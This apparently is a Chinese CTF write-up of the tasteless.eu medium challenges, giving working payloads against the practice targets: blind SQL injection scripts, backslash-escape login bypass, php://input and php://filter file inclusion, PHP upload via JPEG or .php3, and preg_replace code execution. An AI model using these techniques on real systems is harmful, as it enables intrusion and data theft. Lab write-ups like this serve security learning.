http://chall.tasteless.eu/

国外的一个靶场,都是单点知识,medium大部分还是比较简单

medium

Level 1- Infiltration

http://chall.tasteless.eu/level1/index.php?dir=ASC

观察URL应该能猜到后台的SQL语句为

select * from id order by xx ASC;

其中order by id后面为可控点,利用正则和^运算观察网页回显差别可得flag长度为32,应该是串md5

http://chall.tasteless.eu/level1/index.php?dir=^(select length( (select flag from level1_flag) )  regexp '^30$')

http://chall.tasteless.eu/level1/index.php?dir=^(select length( (select flag from level1_flag) )  regexp '^31$')

http://chall.tasteless.eu/level1/index.php?dir=^(select length( (select flag from level1_flag) )  regexp '^32$')

然后写脚本猜解

 import requests

 chars='0123456789qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM'

 def isTrue(p):
url="http://chall.tasteless.eu/level1/index.php?dir=^(select (select flag from level1_flag) regexp '^{}')".format(p)
print url
res=requests.get(url)
if 'date of birth. </p><p>3 : Many facts of' in res.text:
return True
else:
return False length=32
p=''
for i in range(length):
for c in chars:
tp=p+c
if isTrue(tp):
p=tp
break
print p

参考:玩得一手好注入之order by排序篇

Level 3- Double Agent

 <?php
highlight_file('index.php');
/*
view file: php.ini
so here is my hint: the included php.ini file is part of the configugartion file used on the server the bug was found.
so there will be something in it which enables you to solve this level, wont? always be UP TO DATE! hint enough, might just take you seconds to do?!
*/
error_reporting(0);
include('anti_rfi.php'); //rfi is forbidden!!!!! $inc = @$_GET['file'];
@require_once($inc);
?>

用php://input直接就能执行任意代码

Level 6- Too Easy

这个和第一个有点类似,但稍微麻烦一点,在这关里过滤了一些字符,比如if,updatexml,extractvalue,*等,而且网页回显是随机抽1到3条

测试多次后发现,可以利用除法,比如随机出来的是id为1和2的数据,默认排序就是先1后2,如果都除以-1,那么回显顺序就是反的,以此差异猜解数据

select xx regexp xx 的返回值是0或1,0-1=-1,1-1=0(除以0这里好像不会有问题,其值为NULL)

同样方法判断出长度为32(32的时候回显的才是升序,其他都是降序)

http://chall.tasteless.eu/level6/index.php?in=/( ( select length( (select flag from level6_flag) ) regexp '^30$') -1 )

http://chall.tasteless.eu/level6/index.php?in=/( ( select length( (select flag from level6_flag) ) regexp '^31$') -1 )

http://chall.tasteless.eu/level6/index.php?in=/( ( select length( (select flag from level6_flag) ) regexp '^32$') -1 )

然后写脚本自动猜解,一个个字符比对速度很慢,可以改下算法,例如二分

 import requests
import re chars='0123456789qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM' def isTrue(p):
url="http://chall.tasteless.eu/level6/index.php?in=/( ( select (select flag from level6_flag) regexp '^{}') -1 )".format(p)
print url res=requests.get(url)
r=re.findall(r'(\d) :',res.text)
count=len(r)
while count<2:
res=requests.get(url)
r=re.findall(r'(\d) :',res.text)
count=len(r)
pass
if int(r[0])>int(r[1]):
return False
else:
return True length=32
p=''
for i in range(length):
for c in chars:
tp=p+c
if isTrue(tp):
p=tp
break
print p

Level 7- Get Me Down

下载源码后发现.htaccess中设置了会将jpeg文件当做php解析,index.php检测了文件的MIME等,所以拿一张正常的jpeg图片,尾部加上php代码上传即可运行

访问上传的图片然后查看网页源码即得

Level 9- In My Dreams

 <html>
<head>
<title>In My Dreams</title>
</head>
<body>
<p>Here is the <a href='index2.html'>source</a>!</p>
</body>
</html>
<?php
//hi all! you may ask what to do here? its simple, just have a nice walk through these lines, then just call w_()
//and its done
$_k = @$_GET['magic']; //put the magic byte here :)
$_u=create_function('$_a_','foreach($_a_ as $_=>$__){$a[$_]=$__;}return @array_splice($a,1);');
$_u=@call_user_func($_u,@$_GET['argv']);function w_(){print'Good job! flag: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';}$_f=chr(112).chr(114).__CLASS__."\x65"."\x67"."_";
$_function=create_function('$___,$_,$__','return(strcmp((($_^$__)|$___),123)==0)?1:0;');
((int)$_function((int)$_u[0],(int)$_u[1],(int)$_u[2])>0)?0:printf("%s",die());
$__=cosh;$___=$__[asinh(_)];$_t="\x31";$___.=$__[$_t+$_t+$_t];$___.=$__[$_t];$___++;$___++;$___++;
$_f.=substr(str_repeat("\x72",11),-3,1)."e";$_f_=metaphone(crc32(__DIR__).preg_replace("%^=(\?):*?[\sa-z*]*{\$}*?.[^\D]{1,}(\w|\s)$%sUi","${2}1,$1",crc32(__FILE__)));
@$_a.=__METHOD__."\x25".$___(@0+"@${$_t}"+~$_k+1*(5*20))."\x0";$_f.="pl";
$_f.="ac"."\x65";@$_f("%.".$_a."%ixs","(string)$_u[3]()",' ');

这代码看起来是真的恶心,但最终还是梳理出来了,期间的一些乱七八糟的运算,其实在后面使用某个变量之前用var_dump把这个变量输出看看是啥,再替换成这个就行,全部替换一次应该看懂代码就没问题

然后目标是执行w_()这个函数,方法呢就是preg_replace的代码执行,这个具体可以百度,但是这里有点特殊啊,magic参数的构造我一直没成功,就用burp跑了一下,最终发现0xCE这个字符刚好能触发,所以最终payload

http://level9.tasteless.eu/index.php?magic=%ce&argv[0]=123&argv[1]=123&argv[2]=123&argv[3]=&argv[4]=w_

Level 10- Never Trust The Obvious

一个登录框,没有提示,能想到了只能是注入了,通常也都是SQl注入,但输入单双引号发现并未报错,可能是后台对引号进行了转义

猜想后台SQL语句是

SELECT * FROM users WHERE username='$user' and password='$pass'

如果输入单引号,则会被转义,即如果输入账号 ' 密码 x,语句为

SELECT * FROM users WHERE username='\'' and password='x'

那么测试转义符,发现报错

那么可以断定后台的处理逻辑确实是如此,而且\不在应当转义的列表中,则当前的语句应该为

SELECT * FROM users WHERE username='\' and password='x'

语句未闭合,当然报错

然后即可构造payload

\

or 1#

SELECT * FROM users WHERE username='\' and password='or 1#'

成功登陆

Level 11- Sjukdom

存在本地文件包含,直接包含那个文件,flag就在其中

http://level11.tasteless.eu/index.php?file=php://filter/read=convert.base64-encode/resource=config.easy.inc.php

hard难度用00截断绕过

http://level11.tasteless.eu/index.php?hard=1&file=%00php://filter/read=convert.base64-encode/resource=config.hard.inc.php

Level 15- Tournament

这个根据程序功能和hint基本能确定是SQL注入,但尝试输入单双引号并未出错,那么肯定就是对引号进行了转义,所以尝试转义符

虽然并未报错,但显示的信息肯定是不对的,至于为什么会出现和上面一条一样的消息,这里不知道后台处理逻辑我也不清楚,但可以断定的是肯定这里肯定出错了,所以猜想后台插入数据库数据的语句为(代码不完全符合,因为测试发现注入点只在name处有,text处处理应该更加严格)

 <?php
$name=str_replace("'","\'",$_GET['name']);
$message=str_replace("'","\'",$_GET['message']);
$name=str_replace('"','\"',$name);
$message=str_replace('"','\"',$message);
$sql="INSERT INTO table_name (name,message) VALUES ('".$name."','".$message."')";
echo $sql;

代码只把单双引号转义,但并未转义转义符,所以如果name处构造如下

title\',1111111)#

最后的语句即为

INSERT INTO table_name (name,message) VALUES ('title\\',111111)#','x')

最后payload

title\',(select flag from level15_flag))#

Level 18- Extensions?

 <html>
<head>
<title>Extensions?</title>
</head>
<body>
<p>source code: <a href="./index.php~">index.php~</a></p>
<br/>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="Submit">
</form>
<br />
<?php
error_reporting(0); $output = array ();
$errors = array ();
$savePath = "upload"; if (isset ( $_FILES ['file'] ) && $_FILES ["file"] ["error"] == UPLOAD_ERR_OK) { $fileName = $_FILES ['file'] ['name'];
$fileSize = $_FILES ['file'] ['size'];
$fileTemp = $_FILES ['file'] ['tmp_name'];
$fileType = $_FILES["file"]["type"] ;
$fileExt = pathinfo ( $fileName, PATHINFO_EXTENSION );
$fileExt = strtolower ( $fileExt ); if (preg_match("/php$/i", $fileExt)) {
$errors [] = "Invalid File Extention";
}
if ($fileSize > 800*1024) {
$errors [] = "File Too large";
}
if (! is_writable ( $savePath )) {
$errors [] = "File Destination not writeable";
} $fileDst = $savePath . DIRECTORY_SEPARATOR . $fileName;
$filePrifix = basename ( $fileName, "." . $fileExt ); if(file_exists($fileDst)) {
$errors [] = "Filename exists";
} if (count ( $errors ) == 0) {
if (@move_uploaded_file ( $fileTemp, $fileDst )) {
$output['Destination'] = $fileDst;
} else {
$errors [] = "Error Saving File";
}
} if(count($errors) > 0)
{
echo "<h2>Upload Error</h2>" ;
foreach ($errors as $error){
echo $error , "<br/>" ;
}
}else{
echo "<h2>File Uploaded</h2>" ;
foreach ($output as $key => $value){
echo $key . ": <a href=\"./$value\">" .$value , "</a><br/>" ;
}
}
}
?>
</body>
</html>

代码中的正则阻止了php后缀的文件,直接上传php后缀的文件肯定不行,不过

Apache 配置中会有

.+.ph(p[345]?|t|tml)

此类的正则表达式,文件名满足即可被当做php解析,也就是说php3,php4,php5,pht,phtml都是可以被解析的

所以上传一个PHP文件,后缀名为php3,即可被解析,可以上传一句话,或者直接如下

 <?php
var_dump(scandir(".."));
echo file_get_contents("../D4tFl4g.php");
?>

查看源码即得flag

Tasteless challenges medium WP的更多相关文章

  1. Tasteless challenges hard WP

    hard Level 5- Fred CMS 十有八九是注入,不过测试引号和转义符并没发现什么,于是跑了下密码字典,竟然发现网页提示 sql injection detected! ,然后发现原来是密 ...

  2. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  3. XSS Challenges(1-12关)

    XSS Challenges解析: 1. 什么过滤也没有,而且是直接输出.<scrip>alert(document.domain);</script>即可通过 2. 直接输入 ...

  4. XSS Challenges学习笔记 Stage#1~ Stage#19

    开门见山 Stage #1 http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9 这一道题发现我们写入的内容直 ...

  5. DVWA实验之Brute Force(暴力破解)- Medium

    DVWA实验之Brute Force(暴力破解)- Medium   有关DVWA环境搭建的教程请参考: https://www.cnblogs.com/0yst3r-2046/p/10928380. ...

  6. 逆天通用水印支持Winform,WPF,Web,WP,Win10。支持位置选择(9个位置 ==》[X])

    常用技能:http://www.cnblogs.com/dunitian/p/4822808.html#skill 逆天博客:http://dnt.dkil.net 逆天通用水印扩展篇~新增剪贴板系列 ...

  7. wp已死,metro是罪魁祸首!

    1.这篇文章肯定会有类似这样的评论:“我就是喜欢wp,我就是喜欢metro,我就是软粉“等类似的信仰论者发表的评论. 2.2014年我写过一篇文章,windows phone如何才能在中国翻身? 我现 ...

  8. 关于 WP 开发中.xaml 与.xaml.cs 的关系

    今天我们先来看一下在WP8.1开发中最长见到的几个文件之间的关系.比较论证,在看这个问题之前我们简单看看.NET平台其他两个不同的框架: Windows Forms 先看看Window Forms中的 ...

  9. Android,ios,WP三大手机系统对比

    从前,我以为.一个手机系统只是一个系统的UI风格,没什么不同的.然而,在我混合使用这三个手机系统之后,才明白,一个手机系统远不只一个UI那么简单,而真的是可以称之为一个“生态”. 首先祭出三台经典设备 ...

随机推荐

  1. 案例:Oracle 10g RAC 集群无法启动

    环境:RHEL 5.7 + Oracle 10.2.0.5 RAC 很多年前的一套测试环境,今天发现集群无法启动.手工尝试启动crs,集群日志也无任何输出.进一步检查集群配置: [oracle@rac ...

  2. Excel的创建和读取NPOI

    项目中经常用到需要操作Excel文件,例如:导出数据库中的数据,读取数据等.但是电脑又没有安装office,不能直接调用微软的库,最后经过查找,找到这样的一个不用安装office的库.一个.NET库, ...

  3. 添加商品到购物车add_to_cart.php(学生笔记)

    <?php session_start();//启动session $goods_id = $_POST['goods_id'];//获取商品id $number = $_POST['num'] ...

  4. Java生鲜电商平台-电商系统性能指标

    Java生鲜电商平台-电商系统性能指标 1.响应时间和吞吐量 根据应用程序的响应时间可以知道程序完成传输数据所用的时间.也可以从HTTP请求级别,或者成为数据库级别来看.对那些缓慢的查询你需要做一些优 ...

  5. MyBatis框架之第二篇

    1.高级参数映射和返回值映射(重点) a)Pojo包装pojo的参数映射 b)当结果集列名与pojo属性名不一致的返回值映射 2.动态sql(重点) 3.关联查询结果(重点) a)一对一关联结果 b) ...

  6. log4j配置项

    log4j 配置文件log4j.rootLogger=INFO,console,dailyFile# 控制台配置项log4j.appender.console=org.apache.log4j.Con ...

  7. Web 安全总结

    同源策略 如果两个 URL 的协议.域名和端口都相同,我们就称这两个 URL 同源. 同源策略限制了来自不同源的 JavaScript 脚本对当前 DOM 对象读和写的操作. 同源策略限制了不同源的站 ...

  8. [转]UIPATH机器人指南

    本文转自:https://blog.csdn.net/weixin_33957036/article/details/80907372 介绍 机器人是UiPath的执行代理,可运行Studio中内置的 ...

  9. Azkaban(3.x)编译安装使用

    官网地址:https://azkaban.readthedocs.io Azkaban 有三种部署方式:单服务模式.2个服务模式.分布式多服务模式 简单实用仅需单服务模式即可 2个服务模式,需要配置m ...

  10. Python对MongoDB增删改查

    pip install pymongo import pymongo # 建立连接 client = pymongo.MongoClient() # 指定数据库 (不存在则会新建) db = clie ...